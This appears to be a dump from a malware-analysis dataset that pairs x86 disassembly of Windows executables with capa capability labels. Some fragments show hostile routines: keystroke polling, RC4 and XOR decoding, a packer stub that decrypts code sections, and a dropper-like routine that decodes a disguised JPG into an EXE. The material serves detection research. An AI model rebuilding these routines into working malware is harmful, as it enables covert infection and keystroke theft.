joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401030
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
add dl, 8
test esi, esi
jbe 0x40105d
mov eax, dword [esp + 8]
mov cl, byte [eax]
add cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x401051
pop esi
ret

Function at 0x4010b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x21c
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x26]
mov eax, dword [esp + 0x22]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
and ecx, 0xffff
and edx, 0xffff
push ecx
and eax, 0xffff
push edx
push eax
lea ecx, [esp + 0x38]
push str._i_i_i
push ecx
call esi
lea edx, [esp + 0x40]
lea eax, [esp + 0x41]
sub edx, 3
lea ecx, [esp + 0x140]
push edx
push eax
push str.MZ_s_s
push ecx
call esi
add esp, 0x24
lea edx, [esp + 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [esp + 0x234]
lea ecx, [esp + 0x12c]
movsx eax, al
push eax
push ecx
push esi
call fcn.00401060
mov edx, dword [esp + 0x23c]
add esp, 0xc
mov ebx, 1
mov byte [esp + 0x13], 0
push 0
push 0
push 2
push 0
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x401172
mov byte [esp + 0x13], 0
mov ecx, dword [esp + 0x238]
lea eax, [esp + 0x18]
push 0
push eax
push ecx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401191
mov byte [esp + 0x13], bl
mov edi, dword [esp + 0x23c]
test edi, edi
je 0x401203
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x100000
call fcn.004012fb
add esp, 4
mov esi, eax
test edi, edi
jle 0x4011fa
mov dword [esp + 0x14], edi
mov eax, ebx
mov ecx, 0x40000
mov dl, al
mov edi, esi
mov dh, dl
push 0
mov eax, edx
inc ebx
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
dec eax
mov dword [esp + 0x14], eax
jne 0x4011c0
push esi
call fcn.004012f0
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x21c
ret
Function at 0x401220
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 0
push 0x80
push 4
push 0
push 1
push 0xc0000000
push str.C:WinRCXP.JPG
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
jne 0x401257
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
push ebx
push edi
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.004012fb
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
mov edi, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push esi
push ebx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 9
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
call fcn.00401030
add esp, 0xc
dec edi
jns 0x4012b5
push 0
push esi
push ebx
push str.C:WinRCMyWin_XP.EXE
call fcn.004010b0
push ebx
call fcn.004012f0
add esp, 0x14
xor eax, eax
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x409110
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435d68]
jne 0x40911a
repz ret
jmp fcn.0040ae5c

Function at 0x409b01
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x435d68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405917
and dword [ebp - 0x14], 0
cmp dword [0x4391e0], 0
mov dword [ebp - 0x18], eax
jne 0x409bb4
push 0x402adc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409c5c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ad0
push ebx
call edi
test eax, eax
je 0x409c5c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402ac0
push ebx
mov dword [0x4391e0], eax
call edi
push eax
call esi
push 0x402aac
push ebx
mov dword [0x4391e4], eax
call edi
push eax
call esi
push 0x402a90
push ebx
mov dword [0x4391e8], eax
call edi
push eax
call esi
mov dword [0x4391f0], eax
test eax, eax
je 0x409bb4
push 0x402a78
push ebx
call edi
push eax
call esi
mov dword [0x4391ec], eax
mov eax, dword [0x4391ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409c0d
cmp dword [0x4391f0], ecx
je 0x409c0d
push eax
call esi
push dword [0x4391f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409c0d
test ebx, ebx
je 0x409c0d
call edi
test eax, eax
je 0x409c04
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409c04
test byte [ebp - 8], 1
jne 0x409c0d
or dword [ebp + 0x10], 0x200000
jmp 0x409c40
mov eax, dword [0x4391e4]
cmp eax, dword [ebp - 0x18]
je 0x409c40
push eax
call esi
test eax, eax
je 0x409c40
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409c40
mov eax, dword [0x4391e8]
cmp eax, dword [ebp - 0x18]
je 0x409c40
push eax
call esi
test eax, eax
je 0x409c40
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4391e0]
call esi
test eax, eax
je 0x409c5c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409c5e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409110
leave
ret
Function at 0x41d160
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1424
call fcn.0040b160
cmp dword [0x2272188], 0x37
jne 0x41d225
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x403298
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push 0
lea ecx, [esp + 0x828]
push ecx
push 0x4032a0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea eax, [esp + 8]
push eax
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [esp + 4]
push edx
push 0x4032d8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea eax, [esp + 0xc24]
push eax
push 0
push 0x403358
push 0x403394
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x40339c
push 0x4033b0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov ecx, dword [0x227218c]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x43e2ec]
mov byte [ecx + esi], al
add esp, 0x1424
ret

Function at 0x41d250
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x60
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx]
mov edx, dword [0x435e44]
push ebx
push ebp
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x435e40]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x435e48]
mov dword [esp + 0x20], edx
mov edx, dword [0x435e4c]
push edi
mov dword [esp + 0x14], eax
mov edi, 0xc6ef3720
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov ebp, 0x20
jmp 0x41d2a4
mov eax, dword [esp + 0x14]
mov ecx, eax
shr ecx, 5
add ecx, dword [esp + 0x18]
mov edx, eax
shl edx, 4
add edx, dword [esp + 0x1c]
add eax, edi
xor ecx, edx
xor ecx, eax
sub esi, ecx
mov ecx, esi
shl ecx, 4
mov dword [0x227110c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x20]
add dword [esp + 0x10], eax
cmp dword [0x2272188], 0x1be
lea ebx, [edi + esi]
jne 0x41d2f9
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x24]
mov dword [0x2271110], 0xff6b3619
xor eax, ebx
xor dword [esp + 0x10], eax
mov dword [0x2271114], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add edi, 0x61c88647
dec ebp
jne 0x41d2a0
cmp dword [0x2272188], 0x8d4
jne 0x41d35f
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x60
ret 4
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x60
ret 4
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x591e2181
nop
nop
nop
nop
test eax, eax
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x760e23b7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x405e90
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x45fc0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00454cd6
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x405f12
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00452c25
mov eax, dword [eax]
push 0x473200
push eax
call fcn.004455c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00454f61
test bl, bl
je 0x405f12
push 0x473200
lea ecx, [esp + 0xc]
call fcn.004552f1
push 0x476d50
lea ecx, [esp + 0xc]
call fcn.004552f1
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x405f4e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00454f61
jmp 0x406019
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x405fd2
lea edx, [esp + 0x7c]
push 0x476d4c
push edx
call fcn.004455c4
add esp, 8
test eax, eax
je 0x405fd2
lea eax, [esp + 0x7c]
push 0x476d48
push eax
call fcn.004455c4
add esp, 8
test eax, eax
je 0x405fd2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405f62
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00454f61
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406810
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406872
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x406880
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x45fc8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x47d23c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4069b8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x4068e6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00454f61
xor eax, eax
jmp 0x406a2f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045509e
push esi
lea ecx, [esp + 0xc]
call fcn.0045532d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x406a0d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00406810
test eax, eax
jne 0x406a0d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00406810
test eax, eax
jne 0x406a0d
lea eax, [esp + 0x14]
push 0x476d64
push eax
call fcn.004466a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4069ec
lea ecx, [esp + 0x14]
push 0x476d60
push ecx
call fcn.00446620
mov esi, eax
add esp, 8
test esi, esi
jne 0x4069ec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x4069ef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045504e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x4068fe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00454f61
xor eax, eax
jmp 0x406a2f
mov byte [esi], 0
push 0x476d5c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00454f61
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x411dd0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x411e3e
cmp si, 0x69
ja 0x411e3e
add esi, 0xffd0
cmp si, 0x11
je 0x411e0e
push 0x11
call edi
test ax, ax
jge 0x411e0e
or esi, 0x2000
cmp si, 0x10
je 0x411e23
push 0x10
call edi
test ax, ax
jge 0x411e23
or esi, 0x4000
cmp si, 0x12
je 0x411e38
push 0x12
call edi
test ax, ax
jge 0x411e38
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x411e4b
mov esi, 0xbd
jmp 0x411dff
cmp si, 0x6e
jne 0x411e58
mov esi, 0xbe
jmp 0x411dff
cmp si, 0x6f
jne 0x411df9
mov esi, 0xbf
jmp 0x411dff

Function at 0x413400
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x48d850]
xor edx, edx
cmp eax, edx
jne 0x413426
xor eax, eax
mov byte [eax + 0x48d750], al
inc eax
cmp eax, 0x100
jl 0x41340e
mov dword [0x48d850], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x48d750
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4134b7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41348a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x413458
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x413530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x413583
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41356a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41dac0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x41dc58
cmp ebp, ebx
jle 0x41dc58
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x41db1e
dec eax
or eax, 0xfffffff8
inc eax
je 0x41db25
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x41db34
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x41db3b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00454ca2
add esp, 4
cmp eax, ebx
je 0x41db5c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00454ca2
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x41dc4e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x41dc35
mov al, byte [edx]
cmp al, 0xc0
jbe 0x41dc21
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x41dc16
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x41dc24
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x41dc24
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x41dbc0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x41dbb1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x420e90
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x460fc8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x420ec9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.0045c604
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.0045c650
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00420f50
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0045c68d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x425520
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x461758
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.004260a0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x4255c9
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004251b0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.0045b8b5
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.004347e0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.0045b927
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14